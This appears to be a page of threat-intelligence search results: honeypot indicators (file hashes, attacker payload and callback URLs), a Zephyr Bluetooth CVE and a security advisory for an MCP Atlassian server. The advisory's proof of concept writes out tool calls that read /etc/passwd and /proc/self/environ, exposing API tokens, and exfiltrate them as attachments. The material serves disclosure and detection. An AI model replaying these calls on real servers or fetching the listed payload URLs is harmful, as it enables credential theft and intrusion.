Search: att.com
100 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash e981d296a7034bc03a3a84185b5ac07d26afc01004f55cafadfaad1c42d70f40 was observed by OffSeq Mirage honeypot sensors during attacker activity between July 19 and July 22, 2026. The activity involved the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating the file was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Germany. This hash serves as an indicator of compromise (IOC) to detect this specific malicious payload in environments and security tools. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash a485511f190cca50a45098bddd4f45f7bdeb8467f12cf726d1659fa3326aa5be was observed by OffSeq Mirage honeypot sensors during attacker activity from July 19 to July 22, 2026. The file is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer) and was seen originating from attacker infrastructure in Germany. This hash fingerprints a specific malicious payload which could be a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to check for this file hash in their environments and security telemetry to detect potential compromise. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash f3a8ffee82d63d285245f66f82f7add5a056a20f4b339e8cdd218ffd3ac6314d was observed by OffSeq Mirage honeypot sensors during attacker activity from July 19 to July 22, 2026. The file is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer) and was seen originating from attacker infrastructure in Germany. This hash fingerprints a specific malicious payload that could be a dropper, web shell, miner, or post-exploitation tool. There is no information about known exploits in the wild or affected software versions. Organizations are advised to match this hash against files in their environments and security tools to detect potential compromise. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage An attacker URL https://psychologylifecentre.com/bins/$b was observed in the wild by OffSeq Mirage honeypot sensors 38 times between July 19 and July 21, 2026. The URL is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer) and was seen in attacker payloads such as tool downloads, callbacks, or exploitation targets. The attacker infrastructure was identified in the Philippines and the United States. Defenders are advised to block and monitor this URL and search their proxy, web, or WAF logs for any requests to it. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash f74a8b06db4f8f48f4a19ea5c01bade2a0dfb9290c4ed04a3f1a3eaa298a843d was observed by OffSeq Mirage honeypot sensors during attacker activity between July 18 and July 19, 2026. The file is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer) and is linked to attacker infrastructure located in the Netherlands and the United States. This hash fingerprints a specific malicious payload that could be a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to check their environments and security tools for this hash to detect potential compromise. No known exploits in the wild have been reported for this file. No affected software versions or patches are applicable as this is an indicator of compromise rather than a vulnerability. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 63952f1d3a85ae646317fd592027e258e1dbbba8c7bd4822e2551b9f0a4f8315 was observed 64 times in attacker activity between July 18 and July 21, 2026. The file is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating it was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was observed in multiple countries including Brazil, China, Indonesia, India, Iran, Italy, Pakistan, and Thailand. This indicator should be matched against files in environments and security tools to detect potential compromise. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A URL hosting an attacker payload script (http://bins.oceanic-node.su/wget.sh) was observed multiple times in attacker activity between July and August 2026. The activity involved the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating the URL was used for tool download or callback. The attacker infrastructure was identified in Hong Kong, South Korea, and Taiwan. This URL is considered an indicator of compromise and should be blocked and monitored in network defenses. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash e1568cae97252fa9350ef2d2d381975c8bd29e11f126fb06bd64e92a73d7beb9 was observed 196 times in attacker activity between July 16, 2026, and August 11, 2026. The activity involved the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating the file was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was observed in multiple countries including Armenia, Argentina, Australia, Bulgaria, Brazil, Canada, Côte d'Ivoire, and China. This file hash serves as an indicator of compromise (IOC) for detection and response purposes. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash e374a7ad447d2cf791ecae122894a51ba723901ea132e7fa16cd47c44e4a1769 was observed by OffSeq Mirage honeypot sensors three times between July 15 and July 18, 2026. The activity involved the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating the file was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was observed in Croatia, the Netherlands, and the United States. This hash can be used as an indicator of compromise to detect this specific malicious payload in environments and security tools. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 40db9279ba409757c074048529be5bf8f141fa022489a965792e7f7de2223b78 was observed by OffSeq Mirage honeypot sensors during attacker activity between July 14 and July 26, 2026. The file is associated with the ATT&CK technique T1105 (Ingress Tool Transfer), indicating it was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Great Britain. This hash can be used as an indicator of compromise (IOC) to detect the presence of this malicious file in environments and security tools. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 2d2be0eefdf649cff2a51ba6e11d20014e4203883791f1b8ae8cb56f2d245917 was observed by OffSeq Mirage honeypot sensors five times between July 13 and July 15, 2026. The file is associated with attacker activity involving the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). The malicious payload could be a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was observed in Great Britain. Organizations are advised to match this hash against files in their environments and threat intelligence feeds to detect potential compromise. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880 was observed by OffSeq Mirage honeypot sensors on July 12, 2026. This file was detected five times during attacker activity and is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer). The file likely represents a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Norway. There is no information about known exploits in the wild or affected software versions. This is an indicator of compromise to be matched against files in environments and security tools. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 0dc95fb4077cce0bff19aa1a77109d059dff6503bbf6c1b0dd2f41fc0a4c88e7 was observed 167 times in attacker activity between July 12 and August 1, 2026. The activity involved the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating the file was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was observed in multiple countries including Bulgaria, France, Great Britain, Hong Kong, and the United States. This file hash serves as an indicator of compromise (IOC) for detection and response purposes. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 1dee0949441736015e60e2f4589a8855dbd19fcf9387946cf20ef2fed246ad7a was observed 409 times in attacker activity between July 11, 2026, and August 4, 2026. The file is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer) and was seen originating from attacker infrastructure in Great Britain. This hash fingerprints a specific malicious payload that could be a dropper, web shell, miner, or post-exploitation tool. Organizations are advised to match this hash against files in their environments and security telemetry to detect potential compromise. | OffSeq Mirage | |||
| Medium | 6.4 | EPSS 0.2% | CVE-2026-10660zephyrproject zephyr · Memory-safety Medium6.4EPSS 0.2%CVE Database V5CVE-2026-10660 The Bluetooth BAP Broadcast Assistant GATT client in subsys/bluetooth/audio/bap_broadcast_assistant.c reassembled remote Broadcast Receive State data into a single file-static net_buf_simple (att_buf, BT_ATT_MAX_ATTRIBUTE_LEN = 512 bytes) shared by all connection instances, while the BUSY flag, long-read handle, and reset/offset state were per-connection. When the device acts as a Broadcast Assistant connected to multiple Scan Delegator peripherals, notification and long-read callbacks from different connections interleave on the shared buffer: the append in notify_handler (net_buf_simple_add_mem at the not-busy branch) performs no tailroom check, so receive-state notifications from two or more delegators accumulate on the same 512-byte buffer and, with a sufficiently large configured ATT MTU (BT_L2CAP_TX_MTU up to 2000) and two-to-three concurrent connections, write past the buffer into adjacent .bss (net_buf_simple_add only asserts in debug builds). Even below the overflow threshold, one connection's net_buf_simple_reset zeroes the shared length while another connection's reassembly and GATT read offset are in flight, mixing one peer's data into another's parse. A malicious or compromised Scan Delegator (or two colluding peers) over BLE can trigger this, causing out-of-bounds writes (memory corruption / denial of service) and cross-connection data corruption. The fix moves the buffer into the per-connection instance struct so each connection reassembles into its own buffer. Affects Zephyr releases shipping the Broadcast Assistant with the shared buffer, including v4.4.0 and earlier. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| High | 7.7 | High7.7GCVE Database ### Summary A client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem. The upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.) ### Details The upload tools read a client-supplied path directly on the server: - `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, "rb")` - `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, "rb")` `os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path. Client-reachable entry points that hit these sinks: - `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as "absolute … or relative to the current working directory." - `confluence_upload_attachments` → loops over the same sink. - `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point. ### PoC **Local reproduction** Extract `traversal_upload_attachment_file_read.zip`: ``` # Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false ./poc.sh # exits 0 on success ``` > Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI. All calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default). Step 1 — read `/etc/passwd` from the server via Confluence upload: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" } ← { "message": "Attachment uploaded successfully", "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } } ``` Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read): ``` req → tools/call confluence_download_attachment { "attachment_id": "att<...>" } ← base64 resource decoding to: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` Step 3 — same primitive via the Jira entry point (second sink): ``` req → tools/call jira_update_issue { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" } ← { "attachment_results": { ... "success": true ... } } ``` Step 4 — credential disclosure via `/proc/self/environ`: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" } ← success; the resulting "environ" attachment contains the server's env, including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN. ``` (`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.) Step 5 — relative traversal accepted (no containment): ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" } ← success — relative paths are resolved and read on the server just like absolute ones. ``` The uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host. ### Impact Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian cre | GCVE Database | |||
| –Not rated | – | Reddit Cybersecurity This is a self-hostable Microsoft 365 SOC (Security Operations Center) tool rebuilt from a PowerShell script into a full web application with enhanced features such as RBAC, SSO, and improved performance. It is designed to run locally, binding only to localhost, and facilitates rapid investigation and response to Microsoft 365 account compromises. The tool collects and correlates evidence from Microsoft Graph, provides risk scoring, MITRE ATT&CK mapping, and supports containment actions with explicit user confirmation. It is intended for personal or internal company use and requires enterprise app registration with specific Microsoft Graph permissions. No vulnerabilities or exploits are reported in this tool. | Reddit Cybersecurity | |||
| –Not rated | – | OffSeq Mirage The URL www.interact.sh has been observed in the wild as an attacker-controlled callback or command-and-control (C2) endpoint. It was detected by OffSeq Mirage honeypot sensors five times between June 29, 2026, and October 22, 2026. The activity involved the use of the MITRE ATT&CK technique T1071 (Application Layer Protocol). The attacker infrastructure was identified in France, Turkey, and the United States. Organizations are advised to block and monitor this URL and search their proxy, web, and WAF logs for any requests to it. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59 was observed by OffSeq Mirage honeypot sensors during attacker activity between June 28, 2026, and July 15, 2026. The file is associated with the ATT&CK technique T1105 (Ingress Tool Transfer), indicating it was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Germany and Great Britain. This hash serves as an indicator of compromise (IOC) to detect this specific malicious payload in environments. | OffSeq Mirage | |||
| –Not rated | – | OffSeq Mirage A malicious file identified by the SHA-256 hash 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 was observed by OffSeq Mirage honeypot sensors during attacker activity between June 28 and July 15, 2026. The file is associated with the MITRE ATT&CK technique T1105 (Ingress Tool Transfer), indicating it was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was observed in Germany and the United Kingdom. No known exploits or threat actors are currently linked to this indicator. Organizations are advised to match this hash against files in their environments and security tools to detect potential compromise. | OffSeq Mirage |
Page 4 of 6